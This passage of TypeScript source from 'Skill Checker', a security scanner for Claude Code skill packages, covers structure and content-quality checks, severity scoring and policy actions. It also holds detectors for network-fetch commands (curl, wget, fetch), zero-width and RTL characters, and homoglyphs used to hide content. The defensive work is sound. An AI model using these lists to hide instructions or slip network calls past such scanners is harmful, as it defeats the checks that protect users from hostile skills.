{\n results.push({\n id: 'STRUCT-003',\n category: 'STRUCT',\n severity: 'HIGH',\n title: 'Missing name field',\n message: 'Frontmatter is missing the required \"name\" field.',\n });\n }\n\n // STRUCT-004: Missing description field\n if (!skill.frontmatter.description) {\n results.push({\n id: 'STRUCT-004',\n category: 'STRUCT',\n severity: 'MEDIUM',\n title: 'Missing description field',\n message: 'Frontmatter is missing the \"description\" field.',\n });\n }\n\n // STRUCT-005: Body too short\n if (skill.body.trim().length < 50) {\n results.push({\n id: 'STRUCT-005',\n category: 'STRUCT',\n severity: 'CRITICAL',\n title: 'SKILL.md body is too short',\n message: `Body is only ${skill.body.trim().length} characters. A valid skill should have meaningful instructions (>=50 chars).`,\n });\n }\n\n // STRUCT-006: Unexpected files (binary/executable/script)\n for (const file of skill.files) {\n const ext = file.extension.toLowerCase();\n if (BINARY_EXTENSIONS.has(ext) || INSTALLER_EXTENSIONS.has(ext)) {\n results.push({\n id: 'STRUCT-006',\n category: 'STRUCT',\n severity: 'HIGH',\n title: 'Unexpected binary/executable file',\n message: `Found unexpected file: ${file.path} (${ext})`,\n source: file.path,\n });\n } else if (SCRIPT_EXTENSIONS.has(ext)) {\n results.push({\n id: 'STRUCT-006',\n category: 'STRUCT',\n severity: 'LOW',\n title: 'Script file present',\n message: `Found script file: ${file.path} (${ext}). Content is scanned separately.`,\n source: file.path,\n });\n }\n }\n\n // STRUCT-007: Name format\n const name = skill.frontmatter.name;\n if (name) {\n if (!HYPHEN_CASE_RE.test(name)) {\n results.push({\n id: 'STRUCT-007',\n category: 'STRUCT',\n severity: 'MEDIUM',\n title: 'Name not in hyphen-case format',\n message: `Skill name \"${name}\" should be in hyphen-case (e.g. \"my-skill\").`,\n });\n }\n if (name.length > MAX_NAME_LENGTH) {\n results.push({\n id: 'STRUCT-007',\n category: 'STRUCT',\n severity: 'MEDIUM',\n title: 'Name too long',\n message: `Skill name is ${name.length} chars, max ${MAX_NAME_LENGTH}.`,\n });\n }\n }\n\n // STRUCT-008: Skipped or partially scanned paths\n for (const warning of skill.warnings) {\n // Extract file/dir path from warning for structured dedup key\n const pathMatch = warning.match(/:\\s*(.+?)(?:\\s*\\(|$)/);\n results.push({\n id: 'STRUCT-008',\n category: 'STRUCT',\n severity: 'MEDIUM',\n title: 'Scan coverage warning',\n message: warning,\n source: pathMatch?.[1]?.trim(),\n });\n }\n\n return results;\n },\n};\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\n// ===== Severity & Scoring =====\n\nexport type Severity = 'CRITICAL' | 'HIGH' | 'MEDIUM' | 'LOW';\n\nexport const SEVERITY_SCORES: Record<Severity, number> = {\n CRITICAL: 25,\n HIGH: 10,\n MEDIUM: 3,\n LOW: 1,\n};\n\nexport type Grade = 'A' | 'B' | 'C' | 'D' | 'F';\n\nexport function computeGrade(score: number): Grade {\n if (score >= 90) return 'A';\n if (score >= 75) return 'B';\n if (score >= 60) return 'C';\n if (score >= 40) return 'D';\n return 'F';\n}\n\n// ===== Check Result =====\n\nexport type CheckCategory =\n | 'STRUCT'\n | 'CONT'\n | 'INJ'\n | 'CODE'\n | 'SUPPLY'\n | 'RES';\n\nexport interface CheckResult {\n id: string; // e.g. \"INJ-001\"\n category: CheckCategory;\n severity: Severity;\n title: string;\n message: string;\n line?: number; // line number in SKILL.md\n snippet?: string; // relevant code snippet\n source?: string; // structured source file path (e.g. \"SKILL.md\", \"lib/helper.js\")\n reducedFrom?: Severity; // original severity before context-aware reduction\n occurrences?: number; // count after per-file deduplication\n}\n\n// ===== Severity Reduction =====\n\nconst REDUCE_MAP: Record<Severity, Severity> = {\n CRITICAL: 'HIGH',\n HIGH: 'MEDIUM',\n MEDIUM: 'LOW',\n LOW: 'LOW',\n};\n\n/**\n * Reduce severity by one level with audit trail.\n * Safety floor: a CRITICAL-origin finding never drops below MEDIUM.\n */\nexport function reduceSeverity(\n original: Severity,\n reason: string\n): { severity: Severity; reducedFrom: Severity; annotation: string } {\n let reduced = REDUCE_MAP[original];\n // Safety floor: CRITICAL source never goes below MEDIUM\n if (original === 'CRITICAL' && reduced === 'LOW') {\n reduced = 'MEDIUM';\n }\n return {\n severity: reduced,\n reducedFrom: original,\n annotation: `[reduced: ${reason}]`,\n };\n}\n\n// ===== Parsed Skill =====\n\nexport interface SkillFrontmatter {\n name?: string;\n description?: string;\n version?: string;\n 'allowed-tools'?: string[];\n [key: string]: unknown;\n}\n\nexport interface ParsedSkill {\n /** Path to the skill directory */\n dirPath: string;\n /** Raw SKILL.md content */\n raw: string;\n /** Parsed frontmatter (YAML) */\n frontmatter: SkillFrontmatter;\n /** Whether frontmatter was valid YAML */\n frontmatterValid: boolean;\n /** Body text after frontmatter */\n body: string;\n /** Lines of the body for line-number tracking */\n bodyLines: string[];\n /** Offset: line number where body starts in the raw file */\n bodyStartLine: number;\n /** Other files in the skill directory */\n files: SkillFile[];\n /** Warnings about skipped directories/files during parsing */\n warnings: string[];\n}\n\nexport interface SkillFile {\n path: string; // relative to skill dir\n name: string;\n extension: string;\n sizeBytes: number;\n isBinary: boolean;\n content?: string; // text content if not binary\n}\n\n// ===== Scan Report =====\n\nexport interface ScanReport {\n skillPath: string;\n skillName: string;\n timestamp: string;\n results: CheckResult[];\n score: number;\n grade: Grade;\n summary: {\n total: number;\n critical: number;\n high: number;\n medium: number;\n low: number;\n };\n}\n\n// ===== Check Module Interface =====\n\nexport interface CheckModule {\n name: string;\n category: CheckCategory;\n run(skill: ParsedSkill): CheckResult[];\n}\n\n// ===== Configuration =====\n\nexport type PolicyLevel = 'strict' | 'balanced' | 'permissive';\nexport type HookAction = 'deny' | 'ask' | 'report';\n\nexport interface SkillCheckerConfig {\n policy: PolicyLevel;\n overrides: Record<string, Severity>;\n ignore: string[];\n}\n\nexport const DEFAULT_CONFIG: SkillCheckerConfig = {\n policy: 'balanced',\n overrides: {},\n ignore: [],\n};\n\n/** Maps policy + severity to hook action */\nexport function getHookAction(\n policy: PolicyLevel,\n severity: Severity\n): HookAction {\n const matrix: Record<PolicyLevel, Record<Severity, HookAction>> = {\n strict: {\n CRITICAL: 'deny',\n HIGH: 'deny',\n MEDIUM: 'ask',\n LOW: 'report',\n },\n balanced: {\n CRITICAL: 'deny',\n HIGH: 'ask',\n MEDIUM: 'report',\n LOW: 'report',\n },\n permissive: {\n CRITICAL: 'ask',\n HIGH: 'report',\n MEDIUM: 'report',\n LOW: 'report',\n },\n };\n const row = matrix[policy];\n if (!row) {\n // Defensive: unknown policy falls back to balanced (fail-closed)\n return matrix.balanced[severity];\n }\n return row[severity];\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\n/**\n * Context-aware helpers to reduce false positives.\n * Distinguishes between patterns in executable/instructional context\n * vs documentation/reference context.\n */\n\n/**\n * Check if a line is inside a markdown code block by tracking\n * the fence state across all lines up to the target index.\n */\nexport function isInCodeBlock(lines: string[], lineIndex: number): boolean {\n let inBlock = false;\n for (let i = 0; i < lineIndex && i < lines.length; i++) {\n if (lines[i].trim().startsWith('```')) {\n inBlock = !inBlock;\n }\n }\n return inBlock;\n}\n\n/**\n * Check if a line is inside an inline code span (backticks).\n * e.g. `placeholder` or `sudo apt-get install foo`\n */\nexport function isInInlineCode(line: string, matchStart: number): boolean {\n // Count backticks before the match position\n let inCode = false;\n for (let i = 0; i < matchStart && i < line.length; i++) {\n if (line[i] === '`') inCode = !inCode;\n }\n return inCode;\n}\n\n/**\n * Check if a URL is a namespace/schema identifier rather than a network endpoint.\n *\n * Namespace URIs are used as unique identifiers in XML/OOXML/SVG/RDF etc.\n * They follow `http://` but are never actually fetched over the network.\n *\n * Detection heuristics (general, not whitelist-based):\n * - URL path contains year-like segments (e.g. /2006/, /2000/)\n * - Line contains xmlns, namespace, schema keywords\n * - URL path is a specification-style path (no file extension, hierarchical)\n * - URL appears as a string constant assignment, not in a fetch/curl context\n */\nexport function isNamespaceOrSchemaURI(url: string, line: string): boolean {\n // Context: line contains XML namespace indicators\n if (/\\bxmlns\\b/i.test(line)) return true;\n if (/\\bnamespace\\b/i.test(line)) return true;\n if (/\\bschema[s]?\\b/i.test(line) && !/(schema\\.org)/i.test(url)) return true;\n\n // URL structure: path looks like a namespace identifier\n // e.g. http://schemas.openxmlformats.org/drawingml/2006/main\n // e.g. http://www.w3.org/2000/svg\n // Pattern: domain + hierarchical path with year segment, no query/file extension\n const parsed = parseURLPath(url);\n if (!parsed) return false;\n\n // Has a 4-digit year segment in path (very common in namespace URIs)\n if (/\\/\\d{4}\\//.test(parsed.path)) {\n // And no query string or typical file extension → likely namespace\n if (!parsed.hasQuery && !parsed.hasFileExtension) return true;\n }\n\n return false;\n}\n\n/**\n * Check if a URL appears in an actual network request context on the same line.\n * i.e. the URL is an argument to fetch/curl/wget/axios etc.\n */\nexport function isInNetworkRequestContext(line: string): boolean {\n const networkPatterns = [\n /\\bfetch\\s*\\(/i,\n /\\bcurl\\s+/i,\n /\\bwget\\s+/i,\n /\\baxios\\b/i,\n /\\brequests?\\.(get|post|put|delete|head)\\s*\\(/i,\n /\\bhttp\\.(get|request)\\s*\\(/i,\n /\\bopen\\s*\\(\\s*[\"'](?:GET|POST|PUT|DELETE)/i,\n /\\bURLSession\\b/,\n /\\bInvoke-WebRequest\\b/i,\n ];\n return networkPatterns.some((p) => p.test(line));\n}\n\n/**\n * Check if a line is in a documentation/guide section.\n * Looks for markdown list items describing setup/installation steps.\n */\nexport function isInDocumentationContext(\n lines: string[],\n lineIndex: number\n): boolean {\n const line = lines[lineIndex];\n\n // Markdown list item describing a tool/prerequisite\n if (/^\\s*[-*]\\s+\\*\\*\\w+\\*\\*\\s*[::]/.test(line)) return true;\n\n // Look at nearby headers for documentation keywords\n for (let i = lineIndex; i >= Math.max(0, lineIndex - 15); i--) {\n const l = lines[i];\n if (/^#{1,4}\\s+.*(install|setup|prerequisite|requirement|depend|getting\\s+started)/i.test(l)) {\n return true;\n }\n }\n\n return false;\n}\n\n/**\n * Check if a line is near a documentation/guide section header.\n * Similar to isInDocumentationContext but only checks headers, not list patterns.\n * Used for double-context reduction (code block + doc header).\n */\nexport function isNearDocumentationHeader(\n lines: string[],\n lineIndex: number\n): boolean {\n for (let i = lineIndex; i >= Math.max(0, lineIndex - 15); i--) {\n const l = lines[i];\n if (/^#{1,4}\\s+.*(install|setup|prerequisite|requirement|depend|getting\\s+started|quickstart)/i.test(l)) {\n return true;\n }\n }\n return false;\n}\n\n/**\n * Check if a file path is a license/legal file (content is not executable instruction).\n */\nexport function isLicenseFile(filePath: string): boolean {\n const name = filePath.split('/').pop()?.toUpperCase() ?? '';\n const base = name.replace(/\\.[^.]+$/, ''); // strip extension\n return /^(LICENSE|LICENCE|COPYING|NOTICE|AUTHORS|PATENTS)$/.test(base);\n}\n\n/**\n * Check if a URL points to localhost / loopback (no external attack surface).\n */\nexport function isLocalhostURL(url: string): boolean {\n return /^https?:\\/\\/(localhost|127\\.0\\.0\\.1|0\\.0\\.0\\.0|\\[::1\\])/i.test(url);\n}\n\n/**\n * Check if a line is in an educational/descriptive context.\n * Used to reduce severity for content patterns that appear in\n * teaching/reference material rather than actual promotional content.\n */\nexport function isInEducationalContext(\n lines: string[],\n lineIndex: number\n): boolean {\n const line = lines[lineIndex];\n\n // Line itself is a markdown heading (organizational/educational)\n if (/^#{1,6}\\s+/.test(line)) return true;\n\n // Line has label: value structure (descriptive/definitional)\n // e.g., \"- Discount type: One-time, recurring\"\n // e.g., \"**Annual discount**: 15-25% for annual prepay\"\n if (/^\\s*[-*]?\\s*(\\*\\*[^*]+\\*\\*\\s*:|[A-Z][^:]{0,40}:)\\s/.test(line))\n return true;\n\n // Nearby header contains educational/guide keywords\n for (let i = lineIndex; i >= Math.max(0, lineIndex - 15); i--) {\n if (\n /^#{1,4}\\s+.*(strateg|guide|framework|structure|model|overview|comparison|concept|principle|example|tutorial|reference|approach|method)/i.test(\n lines[i]\n )\n ) {\n return true;\n }\n }\n\n return false;\n}\n\nconst PROMOTIONAL_INTENT_PATTERNS = [\n /\\d+%\\s*off\\b/i,\n /\\blimited\\s+time\\b/i,\n /\\bact\\s+now\\b/i,\n /\\bhurry\\b/i,\n /\\btoday\\s+only\\b/i,\n /\\bdon'?t\\s+miss\\b/i,\n /\\bsave\\s+\\d+%/i,\n /\\bexclusive\\s+(offer|deal)\\b/i,\n /\\bsign\\s+up\\s+(now|today)\\b/i,\n /\\bget\\s+started\\b/i,\n /\\bclaim\\s+(now|yours?)\\b/i,\n /\\boffer\\s+ends?\\b/i,\n /\\blast\\s+chance\\b/i,\n /\\bonly\\s+\\d+\\s+left\\b/i,\n /\\bends?\\s+in\\s+\\d+/i,\n /\\bstart\\s+(your\\s+)?free\\s+trial\\b/i,\n];\n\n/**\n * Check if a line contains promotional urgency/CTA signals.\n * Used to override educational context reduction when content\n * is promotional disguised as educational formatting.\n */\nexport function hasPromotionalIntent(line: string): boolean {\n return PROMOTIONAL_INTENT_PATTERNS.some((p) => p.test(line));\n}\n\n/**\n * Check if any line within a ±window range contains promotional intent.\n * Does NOT exclude code block lines — fail-closed: urgency near a\n * soft pattern should block reduction regardless of fence boundaries.\n */\nexport function hasPromotionalIntentNearby(\n lines: string[],\n lineIndex: number,\n window = 3\n): boolean {\n const start = Math.max(0, lineIndex - window);\n const end = Math.min(lines.length - 1, lineIndex + window);\n for (let i = start; i <= end; i++) {\n if (hasPromotionalIntent(lines[i])) return true;\n }\n return false;\n}\n\nfunction parseURLPath(\n url: string\n): { path: string; hasQuery: boolean; hasFileExtension: boolean } | null {\n try {\n const u = new URL(url);\n const hasQuery = u.search.length > 0;\n const lastSegment = u.pathname.split('/').pop() ?? '';\n const hasFileExtension = /\\.\\w{1,5}$/.test(lastSegment);\n return { path: u.pathname, hasQuery, hasFileExtension };\n } catch {\n return null;\n }\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { CheckModule, CheckResult, ParsedSkill } from '../types.js';\nimport { reduceSeverity } from '../types.js';\nimport { isInCodeBlock, isInEducationalContext, hasPromotionalIntentNearby } from '../utils/context.js';\n\n/** Patterns that are always placeholder indicators regardless of context */\nconst STRICT_PLACEHOLDER_PATTERNS = [\n /\\bTODO\\b/,\n /\\bFIXME\\b/,\n /\\bHACK\\b/,\n /\\bXXX\\b/,\n /\\binsert\\s+here\\b/i,\n /\\bfill\\s+in\\b/i,\n /\\bTBD\\b/,\n /\\bcoming\\s+soon\\b/i,\n];\n\n/**\n * Patterns that are placeholder ONLY in prose context.\n * In code/technical context (CSS classes, API names, PPT concepts),\n * these are legitimate terms, not indicators of incomplete content.\n */\nconst CONTEXT_SENSITIVE_PLACEHOLDER_PATTERNS = [\n /\\bplaceholder\\b/i,\n];\n\nconst LOREM_PATTERNS = [\n /lorem\\s+ipsum/i,\n /dolor\\s+sit\\s+amet/i,\n /consectetur\\s+adipiscing/i,\n];\n\n/** Strong ad patterns: direct call-to-action, always HIGH */\nconst STRONG_AD_PATTERNS = [\n /\\bbuy\\s+now\\b/i,\n /\\bclick\\s+here\\s+to\\s+(buy|subscribe|download)/i,\n /\\buse\\s+code\\b.*\\b\\d+%?\\s*off\\b/i,\n];\n\n/** Soft ad patterns: context-sensitive, may reduce to MEDIUM in educational content */\nconst SOFT_AD_PATTERNS = [\n /\\bdiscount\\b/i,\n /\\bfree\\s+trial\\b/i,\n /\\bpromo\\s*code\\b/i,\n /\\bsubscribe\\s+(to|now)\\b/i,\n /\\bsponsored\\s+by\\b/i,\n /\\baffiliate\\s+link\\b/i,\n /\\bcheck\\s+out\\s+my\\b/i,\n];\n\nexport const contentChecks: CheckModule = {\n name: 'Content Quality',\n category: 'CONT',\n\n run(skill: ParsedSkill): CheckResult[] {\n const results: CheckResult[] = [];\n\n if (!skill.body || skill.body.trim().length === 0) return results;\n\n // CONT-001: Placeholder content\n for (let i = 0; i < skill.bodyLines.length; i++) {\n const line = skill.bodyLines[i];\n let matched = false;\n\n // Strict patterns: always flag\n for (const pattern of STRICT_PLACEHOLDER_PATTERNS) {\n if (pattern.test(line)) {\n matched = true;\n break;\n }\n }\n\n // Context-sensitive patterns: only flag in prose context\n // Skip if line is in code block, inline code, or looks like technical reference\n if (!matched) {\n const inCodeBlk = isInCodeBlock(skill.bodyLines, i);\n const hasInlineCode = /`[^`]*placeholder[^`]*`/i.test(line);\n const isTechnicalRef =\n // CSS/HTML context\n /class\\s*=\\s*[\"'].*placeholder/i.test(line) ||\n // Compound technical terms\n /placeholder[_-]?(type|text|image|content|area|location|id|index|name|shape)/i.test(line) ||\n // PPT/slide layout context: placeholder alongside slide/layout terms\n /\\bplaceholder\\b.*\\b(TITLE|SUBTITLE|BODY|OBJECT|SLIDE|layout|slide|shape|pptx|presentation)/i.test(line) ||\n /\\b(TITLE|SUBTITLE|BODY|OBJECT|SLIDE|layout|slide|shape|pptx|presentation)\\b.*\\bplaceholder\\b/i.test(line) ||\n // API/code context: placeholder as a noun in technical documentation\n /\\bplaceholder\\s+(areas?|locations?|counts?|slots?|elements?|fields?)\\b/i.test(line) ||\n /\\b(replace|replacing|replacement)\\b.*\\bplaceholder\\b/i.test(line);\n\n if (!inCodeBlk && !hasInlineCode && !isTechnicalRef) {\n for (const pattern of CONTEXT_SENSITIVE_PLACEHOLDER_PATTERNS) {\n if (pattern.test(line)) {\n matched = true;\n break;\n }\n }\n }\n }\n\n if (matched) {\n results.push({\n id: 'CONT-001',\n category: 'CONT',\n severity: 'HIGH',\n title: 'Placeholder content detected',\n message: `Line ${skill.bodyStartLine + i}: Contains placeholder text.`,\n line: skill.bodyStartLine + i,\n snippet: line.trim().slice(0, 120),\n });\n }\n }\n\n // CONT-002: Lorem ipsum\n for (const pattern of LOREM_PATTERNS) {\n if (pattern.test(skill.body)) {\n results.push({\n id: 'CONT-002',\n category: 'CONT',\n severity: 'CRITICAL',\n title: 'Lorem ipsum filler text',\n message: 'Body contains lorem ipsum placeholder text.',\n });\n break;\n }\n }\n\n // CONT-003: Low information density (excessive repetition)\n checkRepetition(results, skill);\n\n // CONT-004: Description vs body mismatch\n // Simple heuristic: check if description keywords appear in body\n checkDescriptionMismatch(results, skill);\n\n // CONT-005: Ad/promotional content\n for (let i = 0; i < skill.bodyLines.length; i++) {\n const line = skill.bodyLines[i];\n let matched = false;\n\n // Strong patterns: always HIGH\n for (const pattern of STRONG_AD_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'CONT-005',\n category: 'CONT',\n severity: 'HIGH',\n title: 'Promotional/advertising content',\n message: `Line ${skill.bodyStartLine + i}: Contains ad-like content.`,\n line: skill.bodyStartLine + i,\n snippet: line.trim().slice(0, 120),\n source: 'SKILL.md',\n });\n matched = true;\n break;\n }\n }\n\n if (matched) continue;\n\n // Soft patterns: context-sensitive\n for (const pattern of SOFT_AD_PATTERNS) {\n if (pattern.test(line)) {\n const inCode = isInCodeBlock(skill.bodyLines, i);\n const inEducational = isInEducationalContext(skill.bodyLines, i);\n\n if ((inCode || inEducational) && !hasPromotionalIntentNearby(skill.bodyLines, i)) {\n const reduction = reduceSeverity('HIGH', 'educational/descriptive context');\n results.push({\n id: 'CONT-005',\n category: 'CONT',\n severity: reduction.severity,\n title: 'Promotional/advertising content',\n message: `Line ${skill.bodyStartLine + i}: Contains ad-like content. ${reduction.annotation}`,\n line: skill.bodyStartLine + i,\n snippet: line.trim().slice(0, 120),\n reducedFrom: reduction.reducedFrom,\n source: 'SKILL.md',\n });\n } else {\n results.push({\n id: 'CONT-005',\n category: 'CONT',\n severity: 'HIGH',\n title: 'Promotional/advertising content',\n message: `Line ${skill.bodyStartLine + i}: Contains ad-like content.`,\n line: skill.bodyStartLine + i,\n snippet: line.trim().slice(0, 120),\n source: 'SKILL.md',\n });\n }\n break;\n }\n }\n }\n\n // CONT-006: Body is mostly code with no instructions\n checkCodeHeavy(results, skill);\n\n // CONT-007: Name doesn't match body capabilities\n checkNameMismatch(results, skill);\n\n return results;\n },\n};\n\nfunction checkRepetition(results: CheckResult[], skill: ParsedSkill): void {\n const lines = skill.bodyLines.filter((l) => l.trim().length > 0);\n if (lines.length < 5) return;\n\n const lineCounts = new Map<string, number>();\n for (const line of lines) {\n const normalized = line.trim().toLowerCase();\n lineCounts.set(normalized, (lineCounts.get(normalized) ?? 0) + 1);\n }\n\n let duplicated = 0;\n for (const count of lineCounts.values()) {\n if (count > 1) duplicated += count - 1;\n }\n\n const ratio = duplicated / lines.length;\n if (ratio > 0.5) {\n results.push({\n id: 'CONT-003',\n category: 'CONT',\n severity: 'MEDIUM',\n title: 'Low information density',\n message: `${Math.round(ratio * 100)}% of lines are duplicates. Possible filler content.`,\n });\n }\n}\n\nfunction checkDescriptionMismatch(\n results: CheckResult[],\n skill: ParsedSkill\n): void {\n const desc = skill.frontmatter.description;\n if (!desc || desc.length < 10) return;\n\n // Extract significant words from description\n const descWords = desc\n .toLowerCase()\n .split(/\\W+/)\n .filter((w) => w.length > 4);\n if (descWords.length === 0) return;\n\n const bodyLower = skill.body.toLowerCase();\n const matched = descWords.filter((w) => bodyLower.includes(w));\n\n // If less than 20% of description words appear in body\n if (matched.length / descWords.length < 0.2) {\n results.push({\n id: 'CONT-004',\n category: 'CONT',\n severity: 'MEDIUM',\n title: 'Description/body mismatch',\n message:\n 'The frontmatter description appears unrelated to the body content.',\n });\n }\n}\n\nfunction checkCodeHeavy(results: CheckResult[], skill: ParsedSkill): void {\n const lines = skill.bodyLines;\n if (lines.length < 10) return;\n\n let inCodeBlock = false;\n let codeLines = 0;\n\n for (const line of lines) {\n if (line.trim().startsWith('```')) {\n inCodeBlock = !inCodeBlock;\n continue;\n }\n if (inCodeBlock) codeLines++;\n }\n\n const nonEmptyLines = lines.filter((l) => l.trim().length > 0).length;\n if (nonEmptyLines > 0 && codeLines / nonEmptyLines > 0.8) {\n results.push({\n id: 'CONT-006',\n category: 'CONT',\n severity: 'MEDIUM',\n title: 'Body is mostly code examples',\n message:\n 'Over 80% of body content is in code blocks with minimal instructions.',\n });\n }\n}\n\nfunction checkNameMismatch(results: CheckResult[], skill: ParsedSkill): void {\n const name = skill.frontmatter.name;\n if (!name) return;\n\n // Extract capability hints from name\n const nameWords = name\n .split(/[-_]/)\n .filter((w) => w.length > 2)\n .map((w) => w.toLowerCase());\n const bodyLower = skill.body.toLowerCase();\n\n // If name suggests a specific capability, check body mentions it\n const capabilityHints = nameWords.filter((w) =>\n !['the', 'and', 'for', 'skill', 'tool', 'helper', 'util'].includes(w)\n );\n\n if (capabilityHints.length === 0) return;\n\n const matched = capabilityHints.filter((w) => bodyLower.includes(w));\n if (matched.length === 0 && capabilityHints.length >= 2) {\n results.push({\n id: 'CONT-007',\n category: 'CONT',\n severity: 'HIGH',\n title: 'Name/body capability mismatch',\n message: `Skill name \"${name}\" implies capabilities not found in body content.`,\n });\n }\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\n/**\n * Zero-width Unicode characters that can hide content.\n */\nexport const ZERO_WIDTH_CHARS = [\n '\\u200B', // ZERO WIDTH SPACE\n '\\u200C', // ZERO WIDTH NON-JOINER\n '\\u200D', // ZERO WIDTH JOINER\n '\\u200E', // LEFT-TO-RIGHT MARK\n '\\u200F', // RIGHT-TO-LEFT MARK\n '\\uFEFF', // ZERO WIDTH NO-BREAK SPACE (BOM)\n '\\u2060', // WORD JOINER\n '\\u2061', // FUNCTION APPLICATION\n '\\u2062', // INVISIBLE TIMES\n '\\u2063', // INVISIBLE SEPARATOR\n '\\u2064', // INVISIBLE PLUS\n];\n\n/**\n * RTL override characters that can manipulate display.\n */\nexport const RTL_OVERRIDE_CHARS = [\n '\\u202A', // LEFT-TO-RIGHT EMBEDDING\n '\\u202B', // RIGHT-TO-LEFT EMBEDDING\n '\\u202C', // POP DIRECTIONAL FORMATTING\n '\\u202D', // LEFT-TO-RIGHT OVERRIDE\n '\\u202E', // RIGHT-TO-LEFT OVERRIDE\n '\\u2066', // LEFT-TO-RIGHT ISOLATE\n '\\u2067', // RIGHT-TO-LEFT ISOLATE\n '\\u2068', // FIRST STRONG ISOLATE\n '\\u2069', // POP DIRECTIONAL ISOLATE\n];\n\n/**\n * Homoglyph map: Cyrillic/Greek characters that look like Latin.\n */\nconst HOMOGLYPHS: Record<string, string> = {\n '\\u0410': 'A', // Cyrillic А\n '\\u0412': 'B', // Cyrillic В\n '\\u0421': 'C', // Cyrillic С\n '\\u0415': 'E', // Cyrillic Е\n '\\u041D': 'H', // Cyrillic Н\n '\\u041A': 'K', // Cyrillic К\n '\\u041C': 'M', // Cyrillic М\n '\\u041E': 'O', // Cyrillic О\n '\\u0420': 'P', // Cyrillic Р\n '\\u0422': 'T', // Cyrillic Т\n '\\u0425': 'X', // Cyrillic Х\n '\\u0430': 'a', // Cyrillic а\n '\\u0435': 'e', // Cyrillic е\n '\\u043E': 'o', // Cyrillic о\n '\\u0440': 'p', // Cyrillic р\n '\\u0441': 'c', // Cyrillic с\n '\\u0443': 'y', // Cyrillic у\n '\\u0445': 'x', // Cyrillic х\n '\\u0391': 'A', // Greek Α\n '\\u0392': 'B', // Greek Β\n '\\u0395': 'E', // Greek Ε\n '\\u0397': 'H', // Greek Η\n '\\u0399': 'I', // Greek Ι\n '\\u039A': 'K', // Greek Κ\n '\\u039C': 'M', // Greek Μ\n '\\u039D': 'N', // Greek Ν\n '\\u039F': 'O', // Greek Ο\n '\\u03A1': 'P', // Greek Ρ\n '\\u03A4': 'T', // Greek Τ\n '\\u03A7': 'X', // Greek Χ\n '\\u03BF': 'o', // Greek ο\n};\n\n/**\n * Find zero-width characters in text, returning positions.\n */\nexport function findZeroWidthChars(\n text: string\n): Array<{ char: string; codePoint: string; position: number }> {\n const found: Array<{ char: string; codePoint: string; position: number }> = [];\n for (let i = 0; i < text.length; i++) {\n if (ZERO_WIDTH_CHARS.includes(text[i])) {\n found.push({\n char: text[i],\n codePoint: 'U+' + text[i].charCodeAt(0).toString(16).toUpperCase().padStart(4, '0'),\n position: i,\n });\n }\n }\n return found;\n}\n\n/**\n * Find RTL override characters in text.\n */\nexport function findRTLOverrides(\n text: string\n): Array<{ char: string; codePoint: string; position: number }> {\n const found: Array<{ char: string; codePoint: string; position: number }> = [];\n for (let i = 0; i < text.length; i++) {\n if (RTL_OVERRIDE_CHARS.includes(text[i])) {\n found.push({\n char: text[i],\n codePoint: 'U+' + text[i].charCodeAt(0).toString(16).toUpperCase().padStart(4, '0'),\n position: i,\n });\n }\n }\n return found;\n}\n\n/**\n * Find homoglyph characters (non-Latin chars posing as Latin).\n */\nexport function findHomoglyphs(\n text: string\n): Array<{ char: string; looksLike: string; position: number }> {\n const found: Array<{ char: string; looksLike: string; position: number }> = [];\n for (let i = 0; i < text.length; i++) {\n const latin = HOMOGLYPHS[text[i]];\n if (latin) {\n found.push({ char: text[i], looksLike: latin, position: i });\n }\n }\n return found;\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\n/**\n * Calculate Shannon entropy of a string (bits per character).\n * Higher entropy suggests encoded/obfuscated content.\n * Typical English text: ~3.5-4.0, random/encoded: >4.5\n */\nexport function shannonEntropy(str: string): number {\n if (str.length === 0) return 0;\n\n const freq = new 